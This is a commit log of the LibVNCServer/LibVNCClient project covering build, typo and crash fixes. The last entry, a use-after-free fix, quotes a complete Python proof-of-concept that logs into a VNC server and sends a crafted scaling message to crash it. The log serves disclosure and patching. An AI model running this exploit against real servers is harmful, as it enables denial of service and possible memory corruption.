summaryrefslogtreecommitdiffstats
Commit message (Collapse)AuthorAgeFilesLines
* Ignore null pointers in FillRectangle() and CopyRectangleFromRectangle()SpaceOne2016-01-271-0/+8
|
* Be a bit clearer with the cursorshape documentation for libvncclient.Christian Beier2015-12-031-1/+4
|
* Properly document HandleCursorShape and GotCursorShapeProc.Christian Beier2015-12-032-8/+11
|
* Merge pull request #90 from stweil/fixChristian Beier2015-10-101-4/+4
|\ | | | | Fix some recently introduced regressions
| * Fix definition of POSIX data typesStefan Weil2015-10-101-2/+1
| | | | | | | | | | | | | | | | Commit 92f558482d94c5152174a1983a40863bd6b07911 added stdint.h to get the type definitions, but included it after the first use of int8_t in builds for Windows. Signed-off-by: Stefan Weil <sw@weilnetz.de>
| * Fix endianness detectionStefan Weil2015-10-101-2/+3
| | | | | | | | | | | | | | | | | | | | Commit 97f442ef2aa65ade6bea11e90054c57b90abbaca tried to improve the endianness detection, but introduced a typo and problems for Windows builds (no endian.h, different definition of LIBVNCSERVER_WORDS_BIGENDIAN). Fix both issues. Signed-off-by: Stefan Weil <sw@weilnetz.de>
* | Merge pull request #89 from stweil/masterChristian Beier2015-10-1029-61/+61
|\ \ | |/ |/| Fix some typos (found by codespell)
| * Fix some typos (found by codespell)Stefan Weil2015-10-0929-61/+61
|/ | | | Signed-off-by: Stefan Weil <sw@weilnetz.de>
* Instead of letting the build system define endianess, rely on endian.h.Christian Beier2015-05-283-9/+5
|
* Do away with rfbint.h generation and use stdint.h directly instead.Christian Beier2015-05-288-745/+4
|
* Re-add the useful bits of 9aa9ac59b4cb10bfca93456a3098e348de172d7f.Christian Beier2015-04-172-0/+7
|
* Revert "Add libvncclient/h264.c to dist tarball."Christian Beier2015-04-171-1/+1
| | | | This reverts commit 9aa9ac59b4cb10bfca93456a3098e348de172d7f.
* Revert "LibVNCClient: Add H.264 encoding for framebuffer updates"Christian Beier2015-04-177-723/+1
| | | | | | | | This reverts commit d891478ec985660c03f95cffda0e6a1ad4ba350c. Conflicts: configure.ac libvncclient/h264.c
* Merge pull request #70 from maxnet/masterChristian Beier2015-04-171-0/+8
|\ | | | | httpd: disallow directory traversal
| * httpd: disallow directory traversalFloris Bos2015-03-291-0/+8
| | | | | | | | Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* | Merge pull request #69 from nopdotcom/masterChristian Beier2015-04-171-1/+4
|\ \ | | | | | | Avoid divide-by-zero in raw encoding (OSX RealVNC)
| * | Avoid divide-by-zero in raw encoding (OSX RealVNC)Jay Carlson2015-03-271-1/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | OS X RealVNC server crashes out Remmina because the server can provoke bytesPerLine to be zero. Assume this is coding for zero lines. The condition could be checked before the calculation of bytesPerLine. I don’t understand the preconditions of this code to say one way or the other.
* | | Merge pull request #72 from lopago/fix-segfaultsChristian Beier2015-04-172-1/+7
|\ \ \ | | | | | | | | prevent segfaults due to uninitialized memory
| * | | Changed C++ style comments to C onesBenjamin Dürholt2015-04-132-2/+2
| | | |
| * | | prevent segfaultBenjamin Dürholt2015-04-102-1/+7
| | | |
* | | | Merge pull request #74 from tanderson92/fixarpathChristian Beier2015-04-151-1/+1
|\ \ \ \ | |/ / / |/| | | configure.ac: Use AC_CHECK_TOOL for cross-compiling support.
| * | | configure.ac: Use AC_CHECK_TOOL for cross-compiling support.Thomas Anderson2015-04-151-1/+1
|/ / / | | | | | | | | | | | | When cross-compiling the ar program has the appropriate prefix prepended. Respect that here and have autotools autodetect the appropriate tool.
* | | Set autotools SOVERSION.Peter Spiess-Knafl2015-02-092-1/+2
| | |
* | | Merge pull request #63 from LibVNC/sha1reworkChristian Beier2015-02-056-428/+717
|\ \ \ | | | | | | | | Replace SHA1 implementation with the one from RFC 6234.
| * | | Replace SHA1 implementation with the one from RFC 6234.Christian Beier2015-02-016-428/+717
|/ / /
* | | Merge pull request #60 from cinemast/masterChristian Beier2015-01-271-6/+8
|\ \ \ | | | | | | | | fixing SOVERSION and .so VERSION
| * | | fixing SOVERSION and .so VERSIONPeter Spiess-Knafl2015-01-271-6/+8
|/ / /
* | | Update link to project home page in index.vnc.Christian Beier2015-01-181-1/+1
| | |
* | | Merge pull request #57 from maxnet/masterChristian Beier2015-01-184-0/+30
|\ \ \ | | |/ | |/| Fix handling of multiple VNC commands per websockets frame
| * | Fix handling of multiple VNC commands per websockets frameFloris Bos2015-01-174-0/+30
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | - When processing input, check if there is any extra data pending in the internal websocket frame and SSL buffers. - Prevents input events lagging behind because they get stuck in one of the buffers. Data pending in our own buffers cannot be detected with select() so was not processed until more input arrives from the network. - Closes # 55 Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* | | Merge pull request #56 from maxnet/masterChristian Beier2015-01-161-9/+14
|\ \ \ | |/ / | | | Only advertise xvp support when xvpHook is set
| * | Only advertise xvp support when xvpHook is setFloris Bos2015-01-161-9/+14
| | | | | | | | | | | | | | | | | | | | | Prevent that clients show "reboot" "power down" buttons that are not going to work. Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* | | Add Floris to AUTHORS.Christian Beier2015-01-061-1/+2
| | |
* | | Update NEWS.Christian Beier2015-01-061-0/+6
| | |
* | | Merge pull request #51 from maxnet/masterChristian Beier2015-01-021-0/+10
|\ \ \ | |/ / | | | Initialize libgcrypt before use
| * | Initialize libgcrypt before useFloris Bos2015-01-021-0/+10
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | https://www.gnupg.org/documentation/manuals/gcrypt/Initializing-the-library.html "Before the library can be used, it must initialize itself. This is achieved by invoking the function gcry_check_version" Closes issue #45 Tested with krdc + libgcrypt 1.6.1 (libgcrypt20-dev Ubunutu package) connecting to a Mac Mini. Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* | | Merge pull request #50 from maxnet/masterChristian Beier2015-01-021-0/+4
|\ \ \ | |/ / | | | tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality
| * | tls_openssl.c: enable extra POSIX functionality to get PTHREAD_MUTEX_RECURSIVEFloris Bos2015-01-011-0/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | On some systems pthread_mutexattr_settype() and PTHREAD_MUTEX_RECURSIVE are not available by default. Either _XOPEN_SOURCE or _POSIX_C_SOURCE needs to be set to to the right level before including any system include file in order to have them exposed. Fixes the following compile error: == tls_openssl.c: In function 'dyn_create_function': tls_openssl.c:91:2: warning: implicit declaration of function 'pthread_mutexattr_settype' [-Wimplicit-function-declaration] MUTEX_INIT(value->mutex); ^ tls_openssl.c:42:40: error: 'PTHREAD_MUTEX_RECURSIVE' undeclared (first use in this function) pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\ ^ tls_openssl.c:91:2: note: in expansion of macro 'MUTEX_INIT' MUTEX_INIT(value->mutex); ^ tls_openssl.c:42:40: note: each undeclared identifier is reported only once for each function it appears in pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\ ^ tls_openssl.c:91:2: note: in expansion of macro 'MUTEX_INIT' MUTEX_INIT(value->mutex); ^ tls_openssl.c: In function 'InitializeTLS': tls_openssl.c:42:40: error: 'PTHREAD_MUTEX_RECURSIVE' undeclared (first use in this function) pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\ ^ tls_openssl.c:156:5: note: in expansion of macro 'MUTEX_INIT' MUTEX_INIT(mutex_buf[i]); ^ tls_openssl.c: In function 'ssl_verify': tls_openssl.c:177:7: warning: variable 'err' set but not used [-Wunused-but-set-variable] int err, i; ^ tls_openssl.c:176:14: warning: variable 'client' set but not used [-Wunused-but-set-variable] rfbClient *client; ^ make[3]: *** [tls_openssl.lo] Error 1 == Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* | | Fix another MinGW64 build issue. WSAEWOULDBLOCK is not MinGW-specific.Christian Beier2014-12-301-2/+0
| | |
* | | Fix building with mingw-w64.Christian Beier2014-12-301-1/+3
| | |
* | | confgure.ac: Remove MinGW linker flag that's incompatible with mingw-w64.Christian Beier2014-12-301-1/+0
| | |
* | | autogen.sh: pass cmdline params to configure call.Christian Beier2014-12-301-1/+1
| | |
* | | Merge pull request #49 from maxnet/masterChristian Beier2014-12-294-5/+8
|\ \ \ | |/ / | | / | |/ |/| Fix libva related compile errors
| * Fix compiler warnings libvncclient + gtkvncviewerFloris Bos2014-12-292-2/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Fixes the following compiler warnings. gtkvncviewer: == CC gtkvncviewer-gtkvncviewer.o gtkvncviewer.c: In function ‘GtkDefaultLog’: gtkvncviewer.c:591:2: warning: format not a string literal and no format arguments [-Wformat-security] fprintf (stdout, buf); ^ == libvncclient: == CC rfbproto.lo In file included from rfbproto.c:2376:0: zrle.c: In function 'HandleZRLE8': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile8' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2385:0: zrle.c: In function 'HandleZRLE16': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile16' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2387:0: zrle.c: In function 'HandleZRLE15': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile15' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2396:0: zrle.c: In function 'HandleZRLE32': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile32' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2398:0: zrle.c: In function 'HandleZRLE24': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2401:0: zrle.c: In function 'HandleZRLE24Down': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Down' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:40:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down) ^ rfbproto.c:2366:24: note: in definition of macro 'CONCAT3' #define CONCAT3(a,b,c) a##b##c ^ zrle.c:40:24: note: in expansion of macro 'CONCAT3E' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2404:0: zrle.c: In function 'HandleZRLE24Up': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Up' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:43:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up) ^ rfbproto.c:2366:24: note: in definition of macro 'CONCAT3' #define CONCAT3(a,b,c) a##b##c ^ zrle.c:43:24: note: in expansion of macro 'CONCAT3E' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ == Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
| * Fix libva related compile errorsFloris Bos2014-12-292-3/+6
|/ | | | | | | | | | | | | - Make h264.c compile with recent libva version by including va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when --with-libva was specified, while actual behavior is to build it by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* Add VNCpp to projects using LibVNC.Christian Beier2014-10-311-0/+4
|
* Update ChangeLog for 0.9.10.Christian Beier2014-10-211-0/+839
|
* Update NEWS.Christian Beier2014-10-211-0/+1
|
* Update comments regarding rfbClientConnectionGone().Christian Beier2014-10-211-2/+3
|
* Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.Christian Beier2014-10-211-2/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Reported by Ken Johnson <Ken.Johnson1@telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger a free. return; at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height); if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))] PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7])) crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---